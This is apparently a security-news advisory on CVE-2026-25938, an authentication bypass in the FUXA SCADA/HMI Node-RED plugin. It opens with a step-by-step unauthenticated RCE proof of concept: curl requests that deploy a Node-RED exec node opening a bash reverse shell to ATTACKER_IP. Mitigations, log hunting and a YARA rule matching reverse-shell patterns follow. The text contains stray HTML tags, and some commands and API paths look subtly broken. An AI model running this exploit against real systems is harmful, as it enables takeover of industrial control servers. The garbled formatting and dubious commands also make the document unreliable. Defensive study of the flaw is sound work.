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Introduction:
A critical zero‑day style vulnerability has surfaced in FUXA—a popular open‑source web‑based SCADA/HMI solution. Assigned CVE‑2026‑25938 and rooted in CWE‑290 (Authentication Bypass by Spoofing), this flaw allows any remote, unauthenticated attacker to achieve full remote code execution (RCE) on the industrial server if the Node‑RED plugin is enabled. Affecting versions 1.2.8 through 1.2.10, the exploit bypasses all identity checks and directly injects malicious Node‑RED flows. With thousands of industrial dashboards potentially exposed, this represents a direct threat to operational technology (OT) environments still running unpatched instances.
Learning Objectives:
- Analyse the root cause and attack vector of CVE‑2026‑25938 in FUXA/Node‑RED integration.
- Execute a step‑by‑step proof‑of‑concept (PoC) to demonstrate unauthenticated RCE.
- Apply emergency mitigation, permanent patching, and hardened configuration for both Linux and Windows FUXA deployments.
- Implement detection rules (Sigma, YARA) to identify exploitation attempts in OT logs.
- Harden Node‑RED authentication and network exposure to prevent similar spoofing vectors.
You Should Know:
- Vulnerability Deep Dive — Why FUXA Fails to Authenticate Node‑RED Endpoints
FUXA enables operators to design real‑time dashboards and optionally integrate Node‑RED for advanced workflow automation. The integration operates over HTTP and, in vulnerable versions, does not validate the origin or authentication state of requests sent to the Node‑RED administrative API.
Extended Post Explanation:
The original disclosure highlights that the plugin component blindly trusts internal API calls. An attacker who can reach the FUXA web interface (usually TCP 1881 or 80/443) can craft a special request that impersonates the local FUXA service. This spoofing bypass grants full access to the Node‑RED admin panel—without any login—and from there deploy arbitrary JavaScript/Node.js code on the underlying OS.
Step‑by‑step exploitation guide (Linux target):
Prerequisite: Identify a FUXA instance with Node‑RED plugin active. Default flows reside in ~/.node-red/flows_.
1. Fingerprint FUXA version and check Node‑RED presence
nmap -p 1881 <target> --script http-title | grep "FUXA"
curl -s http://<target>:1881/settings | jq '.version' Should be 1.2.8 - 1.2.10
<ol>
<li>Confirm Node‑RED is exposed without auth (bypass)
curl -I http://<target>:1881/red/
Expect 200 OK (should be 401 if secured — but vulnerability bypasses this)</p></li>
<li><p>Deploy malicious flow via unauthenticated POST to Node‑RED admin API
PAYLOAD='{
"id": "malicious.flow",
"type": "tab",
"label": "RCE",
"nodes": [
{
"id": "exec.node",
"type": "exec",
"command": "bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"",
"addpay": true,
"name": "Reverse Shell"
}
]
}'</p></li>
</ol>
<p>curl -X POST http://<target>:1881/red/flows \
-H "Content-Type: application/json" \
-d "$PAYLOAD"
<ol>
<li>Trigger the flow (Node‑RED inject node simulation)
curl -X POST http://<target>:1881/red/flow/malicious.flow/inject
Expected result: Reverse shell from the SCADA server to attacker machine.
2. Emergency Mitigation and Permanent Patching
Immediate action (no downtime required):
Block access to the `/red/` path at the reverse proxy or application firewall level.
Apache (.htaccess or site conf):
<LocationMatch "^/red/"> Require ip 127.0.0.1 ::1 Require ip <TRUSTED_MGMT_CIDR> </LocationMatch>
Nginx (location block):
location /red/ {
allow 127.0.0.1;
allow ::1;
deny all;
return 403;
}
Windows IIS (URL Rewrite):
<rule name="Block Node-RED" stopProcessing="true"> <match url="^red/." /> <action type="CustomResponse" statusCode="403" statusReason="Forbidden" /> </rule>
Permanent fix:
Upgrade to FUXA 1.2.11 or later, which implements full request origin validation and requires explicit authentication for Node‑RED endpoints.
Linux upgrade via npm cd /opt/fuxa sudo npm install fuxa@latest Windows (if installed via .exe/MSI) Download latest installer from official GitHub and reinstall.
3. Forensic Detection and IOC Hunting
Linux log analysis (journald):
Look for anomalous POST requests to `/red/flows` from non‑localhost.
journalctl -u fuxa -g "POST /red/flows" --output=json | jq '._HOSTNAME, .MESSAGE'
Windows Event Logs (IIS):
Get-WinEvent -LogName 'W3SVC' | Where-Object { $_.Message -like 'POST /red/flows' }
YARA Rule for malicious flow persistence:
rule detect_fuxa_backdoor {
meta:
description = "Detects malicious Node-RED flows from CVE-2026-25938"
author = "Undercode OT Team"
strings:
$flow = /"type":"exec"[^}]"command":"(bash|powershell|cmd|wget|curl)/
$revshell = /bash -i >& \/dev\/tcp\//
condition:
$flow or $revshell
}
4. Cloud & Container Hardening for FUXA Deployments
If FUXA is deployed via Docker/Kubernetes in hybrid cloud‑SCADA setups:
Docker Compose snippet with auth sidecar:
services:
fuxa:
image: fuxa/fuxa:1.2.11
ports:
- "1881:1881"
environment:
- NODE_RED_AUTH_TYPE=credentials
- NODE_RED_ADMIN_USER=admin
- NODE_RED_ADMIN_PASS=${HASHED_PASSWORD}
Kubernetes NetworkPolicy to restrict Node‑RED ingress:
apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: deny-node-red spec: podSelector: matchLabels: app: fuxa policyTypes: - Ingress ingress: - from: - podSelector: matchLabels: app: fuxa Only allow FUXA frontend to talk to Node-RED internally ports: - port: 1881
5. Windows‑Specific Attack Surface & Mitigation
FUXA on Windows Server runs Node‑RED under the user context. Attackers can achieve SYSTEM via token impersonation after initial foothold.
Check if Node‑RED plugin is enabled (Windows registry):
Get-ItemProperty -Path "HKLM:\SOFTWARE\FUXA" -Name "EnableNodeRed" Value 1 = vulnerable
Remove plugin capability without full uninstall:
Set-ItemProperty -Path "HKLM:\SOFTWARE\FUXA" -Name "EnableNodeRed" -Value 0 Restart-Service FUXA
AppLocker rule to block malicious Node.js execution:
New-AppLockerPolicy -RuleType Exe -User Everyone -Path "%PROGRAMFILES%\nodejs\node.exe" -Action Deny
What Undercode Says:
Key Takeaway 1:
CVE‑2026‑25938 is not merely a “missing check”—it is a design flaw in how industrial IoT platforms integrate third‑party automation engines. The trust boundary between the HMI and Node‑RED was flat, allowing an external actor to impersonate the application itself. This highlights the urgent need for mutual authentication between internal microservices in OT environments.
Key Takeaway 2:
Defence in depth saved no one here; the vulnerable endpoint was fully exposed because “internal” APIs were mistakenly considered unreachable from the outside. Industrial security teams must inventory every HTTP endpoint—even those not linked in the UI—and enforce mandatory authentication via reverse proxies or API gateways, especially for programmable components like Node‑RED.
Analysis:
The rapid disclosure and patch cycle (1.2.11) demonstrate that the vendor responded responsibly. However, the real lesson is for asset owners: version‑locking OT software is insufficient. The Node‑RED plugin, while powerful, introduces a full Node.js runtime capable of spawning OS processes. This is effectively a programmable backplane that, once abused, grants the attacker the same privileges as the SCADA service. Until OT software vendors adopt strict CORS, CSRF tokens, and service‑to‑service mTLS, we will continue to see similar bypasses. Training courses must now integrate SCADA‑specific API security modules—general web security knowledge does not automatically translate to the operational technology stack.
Prediction:
Within the next 12 months, expect at least three additional high‑severity authentication bypasses in open‑source SCADA/HMI tools that embed Node‑RED, Grafana, or similar plugin architectures. The OT industry is currently in a “gold rush” of adding web‑based automation, but without security regression testing on the integration layer. Attackers will weaponize CVE‑2026‑25938‑like flaws into automated worms targeting Shodan‑exposed FUXA instances, leading to the first confirmed ransomware outbreak on a hybrid IT/OT system that originated from a HMI dashboard vulnerability. Regulatory bodies (CISA, ENISA) will likely issue binding operational directives requiring all internet‑facing SCADA HMIs to implement network‑level isolation from automation engines by Q1 2027.
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IT/Security Reporter URL:
Reported By: Chris Evans – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
